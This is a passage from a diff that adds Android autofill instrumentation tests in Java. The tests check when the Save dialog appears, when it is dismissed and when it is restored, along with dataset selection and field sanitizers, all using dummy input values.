+        final MyAutofillId actualMyId = data.getParcelable("my_id");
+        assertThat(actualMyId).isEqualTo(new MyAutofillId(expectedId));
+    }
+
+    @Presubmit
+    @Test
+    public void testCancelPreventsSaveUiFromShowing() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Cancel session.
+        mActivity.getAutofillManager().cancel();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Presubmit
+    @Test
+    public void testDismissSave_byTappingBack() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.BACK_BUTTON);
+    }
+
+    @Test
+    public void testDismissSave_byTappingHome() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.HOME_BUTTON);
+    }
+
+    @Presubmit
+    @Test
+    public void testDismissSave_byTouchingOutside() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.TOUCH_OUTSIDE);
+    }
+
+    @Presubmit
+    @Test
+    public void testDismissSave_byFocusingOutside() throws Exception {
+        startActivity();
+        dismissSaveTest(DismissType.FOCUS_OUTSIDE);
+    }
+
+    private void dismissSaveTest(DismissType dismissType) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Then make sure it goes away when user doesn't want it..
+        switch (dismissType) {
+            case BACK_BUTTON:
+                mUiBot.pressBack();
+                break;
+            case HOME_BUTTON:
+                mUiBot.pressHome();
+                break;
+            case TOUCH_OUTSIDE:
+                mUiBot.assertShownByText(TEXT_LABEL).click();
+                break;
+            case FOCUS_OUTSIDE:
+                mActivity.syncRunOnUiThread(() -> mActivity.mLabel.requestFocus());
+                mUiBot.assertShownByText(TEXT_LABEL).click();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
+        }
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Presubmit
+    @Test
+    public void testTapHomeWhileDatasetPickerUiIsShowing() throws Exception {
+        startActivity();
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mUiBot.assertShownByRelativeId(ID_INPUT).click();
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("YO");
+        callback.assertUiShownEvent(mActivity.mInput);
+
+        // Go home, you are drunk!
+        mUiBot.pressHome();
+        mUiBot.assertNoDatasets();
+        callback.assertUiHiddenEvent(mActivity.mInput);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO2"))
+                        .build())
+                .build());
+
+        // Switch back to the activity.
+        restartActivity();
+        mUiBot.assertShownByText(TEXT_LABEL, Timeouts.ACTIVITY_RESURRECTION);
+        sReplier.getNextFillRequest();
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("YO2");
+        callback.assertUiShownEvent(mActivity.mInput);
+
+        // Now autofill it.
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        mUiBot.selectDataset(datasetPicker, "YO2");
+        autofillExpecation.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testTapHomeWhileSaveUiIsShowing() throws Exception {
+        startActivity();
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save, but don't tap it.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Go home, you are drunk!
+        mUiBot.pressHome();
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Prepare the response for the next session, which will be automatically triggered
+        // when the activity is brought back.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Switch back to the activity.
+        restartActivity();
+        mUiBot.assertShownByText(TEXT_LABEL, Timeouts.ACTIVITY_RESURRECTION);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger and select UI.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        mUiBot.selectDataset("YO");
+
+        // Assert it.
+        autofillExpecation.assertAutoFilled();
+    }
+
+    @Override
+    protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // .. then do something to return to previous activity...
+        switch (type) {
+            case ROTATE_THEN_TAP_BACK_BUTTON:
+                // After the device rotates, the input field get focus and generate a new session.
+                sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+                mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+                WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+                // not breaking on purpose
+            case TAP_BACK_BUTTON:
+                // ..then go back and save it.
+                mUiBot.pressBack();
+                break;
+            case FINISH_ACTIVITY:
+                // ..then finishes it.
+                WelcomeActivity.finishIt();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+        // Make sure previous activity is back...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // ... and tap save.
+        final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+        mUiBot.saveForAutofill(newSaveUi, true);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+    }
+
+    @Override
+    protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
+        sReplier.getNextFillRequest();
+    }
+
+    @Override
+    protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
+            boolean manualRequest) throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown.
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap back to restore the Save UI...
+        mUiBot.pressBack();
+        // Make sure previous activity is back...
+        mUiBot.assertShownByRelativeId(ID_LABEL);
+
+        // ...but don't tap it...
+        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // ...instead, do something to dismiss it:
+        switch (action) {
+            case TOUCH_OUTSIDE:
+                mUiBot.assertShownByRelativeId(ID_LABEL).longClick();
+                break;
+            case TAP_NO_ON_SAVE_UI:
+                mUiBot.saveForAutofill(saveUi2, false);
+                break;
+            case TAP_YES_ON_SAVE_UI:
+                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+                assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+                break;
+            default:
+                throw new IllegalArgumentException("invalid action: " + action);
+        }
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Now triggers a new session and do business as usual...
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        if (manualRequest) {
+            mActivity.syncRunOnUiThread(
+                    () -> mActivity.getAutofillManager().requestAutofill(mActivity.mInput));
+        } else {
+            mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        }
+
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("42");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+    }
+
+    @Override
+    protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        switch (type) {
+            case LAUNCH_PREVIOUS_ACTIVITY:
+                startActivityOnNewTask(SimpleSaveActivity.class);
+                break;
+            case LAUNCH_NEW_ACTIVITY:
+                // Launch a 3rd activity...
+                startActivityOnNewTask(LoginActivity.class);
+                mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+                // ...then go back
+                mUiBot.pressBack();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+        // Make sure right activity is showing
+        mUiBot.assertShownByRelativeId(ID_INPUT, Timeouts.ACTIVITY_RESURRECTION);
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testSelectedDatasetsAreSentOnSaveRequest() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                // Added on reversed order on purpose
+                .addDataset(new CannedDataset.Builder()
+                        .setId("D2")
+                        .setField(ID_INPUT, "id again")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("D2"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("D1")
+                        .setField(ID_INPUT, "id")
+                        .setPresentation(createPresentation("D1"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Select 1st dataset.
+        final FillExpectation autofillExpecation1 = mActivity.expectAutoFill("id");
+        final UiObject2 picker1 = mUiBot.assertDatasets("D2", "D1");
+        mUiBot.selectDataset(picker1, "D1");
+        autofillExpecation1.assertAutoFilled();
+
+        // Select 2nd dataset.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        final FillExpectation autofillExpecation2 = mActivity.expectAutoFill("id again", "pass");
+        final UiObject2 picker2 = mUiBot.assertDatasets("D2");
+        mUiBot.selectDataset(picker2, "D2");
+        autofillExpecation2.assertAutoFilled();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("ID");
+            mActivity.mPassword.setText("PASS");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+        assertThat(saveRequest.datasetIds).containsExactly("D1", "D2").inOrder();
+    }
+
+    @Override
+    protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+            throws Exception {
+        // Prepare activity.
+        startActivity();
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.getRootView()
+                .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS)
+        );
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(
+                                newCustomDescription(TrampolineWelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getAutofillManager().requestAutofill(mActivity.mInput));
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+
+        // Save UI should be showing as well, since Trampoline finished.
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Dismiss Save Dialog
+        mUiBot.pressBack();
+        // Go back and make sure it's showing the right activity.
+        mUiBot.pressBack();
+        mUiBot.assertShownByRelativeId(ID_LABEL);
+
+        // Now start a new session.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill on password
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getAutofillManager().requestAutofill(mActivity.mPassword));
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPassword.setText("42");
+            mActivity.mCommit.performClick();
+        });
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
+    }
+
+    @Presubmit
+    @Test
+    public void testSanitizeOnSaveWhenAppChangeValues() throws Exception {
+        startActivity();
+
+        // Set listeners that will change the saved value
+        new AntiTrimmerTextWatcher(mActivity.mInput);
+        new AntiTrimmerTextWatcher(mActivity.mPassword);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
+                            passwordId);
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testSanitizeOnSaveNoChange() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
+                            passwordId);
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("#id#");
+            mActivity.mPassword.setText("#pass#");
+            mActivity.mCommit.performClick();
+        });
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
+        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testDontSaveWhenSanitizedValueForRequiredFieldDidntChange() throws Exception {
+        startActivity();
+
+        // Set listeners that will change the saved value
+        new AntiTrimmerTextWatcher(mActivity.mInput);
+        new AntiTrimmerTextWatcher(mActivity.mPassword);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
+                            passwordId);
+                })
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testDontSaveWhenSanitizedValueForOptionalFieldDidntChange() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("(pass) "), "$1"),
+                            passwordId);
+                })
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("#pass#");
+            mActivity.mCommit.performClick();
+        });
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testDontSaveWhenRequiredFieldFailedSanitization() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
+                            inputId, passwordId);
+                })
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "#id#")
+                        .setField(ID_PASSWORD, "#pass#")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testDontSaveWhenOptionalFieldFailedSanitization() throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
+                            inputId, passwordId);
+
+                })
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "#pass#")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("id");
+            mActivity.mPassword.setText("pass");
+            mActivity.mCommit.performClick();
+        });
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
+    public void testDontSaveWhenInitialValueAndNoUserInputAndServiceDatasets() throws Throwable {
+        // Prepare activitiy.
+        startActivity();
+        mActivity.syncRunOnUiThread(() -> {
+            // NOTE: input's value must be a subset of the dataset value, otherwise the dataset
+            // picker is filtered out
+            mActivity.mInput.setText("f");
+            mActivity.mPassword.setText("b");
+        });
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "foo")
+                        .setField(ID_PASSWORD, "bar")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Trigger save.
+        mActivity.getAutofillManager().commit();
+
+        // Assert it's not showing.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    enum SetTextCondition {
+        NORMAL,
+        HAS_SESSION,
+        EMPTY_TEXT,
+        FOCUSED,
+        NOT_IMPORTANT_FOR_AUTOFILL,
+        INVISIBLE
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should trigger autofill and
+     * show Save UI.
+     */
+    @Presubmit
+    @Test
+    public void testShowSaveUiWhenSetTextAutomatically() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.NORMAL);
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+     * when there is an existing session.
+     */
+    @Presubmit
+    @Test
+    public void testNotTriggerAutofillWhenSetTextWhileSessionExists() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.HAS_SESSION);
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+     * when the text is empty.
+     */
+    @Presubmit
+    @Test
+    public void testNotTriggerAutofillWhenSetTextWhileEmptyText() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.EMPTY_TEXT);
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+     * when the field is focused.
+     */
+    @Presubmit
+    @Test
+    public void testNotTriggerAutofillWhenSetTextWhileFocused() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.FOCUSED);
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+     * when the field is not important for autofill.
+     */
+    @Presubmit
+    @Test
+    public void testNotTriggerAutofillWhenSetTextWhileNotImportantForAutofill() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.NOT_IMPORTANT_FOR_AUTOFILL);
+    }
+
+    /**
+     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
+     * when the field is not visible.
+     */
+    @Presubmit
+    @Test
+    public void testNotTriggerAutofillWhenSetTextWhileInvisible() throws Exception {
+        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.INVISIBLE);
+    }
+
+    private void triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition condition)
+            throws Exception {
+        startActivity();
+
+        // Set service.
+        enableService();
+
